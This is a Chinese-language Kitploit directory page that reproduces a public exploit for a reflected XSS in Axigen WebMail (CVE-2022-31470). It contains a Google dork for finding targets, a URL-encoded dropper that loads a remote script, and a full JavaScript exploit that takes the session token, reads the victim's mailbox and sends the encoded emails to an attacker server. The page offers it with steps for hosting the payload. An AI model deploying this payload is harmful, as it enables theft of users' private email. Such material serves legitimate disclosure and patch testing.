Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-08-21-exploit — Axigen < 10.3.3.47, 10.2.3.12 - 反射型XSS | Kitploit
工具/GitHubGitHub/amirzargham/cve-2023-08-21-exploit
钓鱼工具漏洞分析漏洞利用Web应用程序漏洞利用数据泄露信息收集
GitHubamirzargham/cve-2023-08-21-exploit

CVE-2023-08-21-exploit

Axigen < 10.3.3.47, 10.2.3.12 - 反射型XSS

查看仓库
12年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Exploit Title: Axigen < 10.3.3.47, 10.2.3.12 - 反射型 XSS

Google Dork: inurl:passwordexpired=yes

日期: 2023-08-21

漏洞利用作者: AmirZargham

厂商主页: https://www.axigen.com/

软件链接: https://www.axigen.com/mail-server/download/

版本: (10.5.0–4370c946) 及更早版本的 Axigen WebMail

测试环境: firefox, chrome

CVE: CVE-2022-31470

漏洞利用 我们使用第二个反射型 XSS 来利用此漏洞,创建一个恶意链接,并窃取用户电子邮件。

Dropper 代码 这段 dropper 代码从远程服务器加载并执行 JavaScript 漏洞利用代码。

root@kitploit:~
');
x = document.createElement('script');
x.src = 'https://example.com/exploit.js';
window.addEventListener('DOMContentLoaded',function y(){
  document.body.appendChild(x)
})//

编码形式 /index.hsp?m=%27)%3Bx%3Ddocument.createElement(%27script%27)%3Bx.src%3D%27 https://example.com/exploit.js%27%3Bwindow.addEventListener(%27DOMContentLoaded%27,function+y(){document.body.appendChild(x)})//

漏洞利用代码

root@kitploit:~
xhr1 = new XMLHttpRequest(), xhr2 = new XMLHttpRequest(), xhr3 = new
XMLHttpRequest();
oob_server = 'https://example.com/';
var script_tag = document.createElement('script');

xhr1.open('GET', '/', true);
xhr1.onreadystatechange = () => {
    if (xhr1.readyState === XMLHttpRequest.DONE) {
        _h_cookie = new URL(xhr1.responseURL).search.split("=")[1];
        xhr2.open('PATCH', `/api/v1/conversations/MQ/?_h=${_h_cookie}`,
true);
        xhr2.setRequestHeader('Content-Type', 'application/json');
        xhr2.onreadystatechange = () => {
            if (xhr2.readyState === XMLHttpRequest.DONE) {
                if (xhr2.status === 401){
                    script_tag.src =
`${oob_server}?status=session_expired&domain=${document.domain}`;
                    document.body.appendChild(script_tag);
                } else {
                    resp = xhr2.responseText;
                    folderId = JSON.parse(resp)["mails"][0]["folderId"];
                    xhr3.open('GET',
`/api/v1/conversations?folderId=${folderId}&_h=${_h_cookie}`, true);
                    xhr3.onreadystatechange = () => {
                        if (xhr3.readyState === XMLHttpRequest.DONE) {
                            emails = xhr3.responseText;
                            script_tag.src =
`${oob_server}?status=ok&domain=${document.domain}&emails=${btoa(emails)}`;
                            document.body.appendChild(script_tag);
                        }
                    };
                    xhr3.send();
                }
            }
        };
        var body = JSON.stringify({isUnread: false});
        xhr2.send(body);
    }
};
xhr1.send();

结合 dropper 和漏洞利用 您可以将漏洞利用代码托管在某处,然后在 dropper 代码中引用它。

发布于: exploit-db.

发布于: 0day.today.

发布于: packet storm.

下载工具